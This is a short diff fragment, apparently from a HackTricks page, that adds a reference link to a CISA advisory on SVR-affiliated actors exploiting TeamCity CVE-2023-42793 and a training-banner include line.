+- [CISA - SVR actors exploiting TeamCity CVE-2023-42793](https://www.cisa.gov/news-events/alerts/2023/12/13/cisa-and-partners-release-advisory-russian-svr-affiliated-cyber-actors-exploiting-cve-2023-42793)
+
+{{#include ../../banners/hacktricks-training.md}}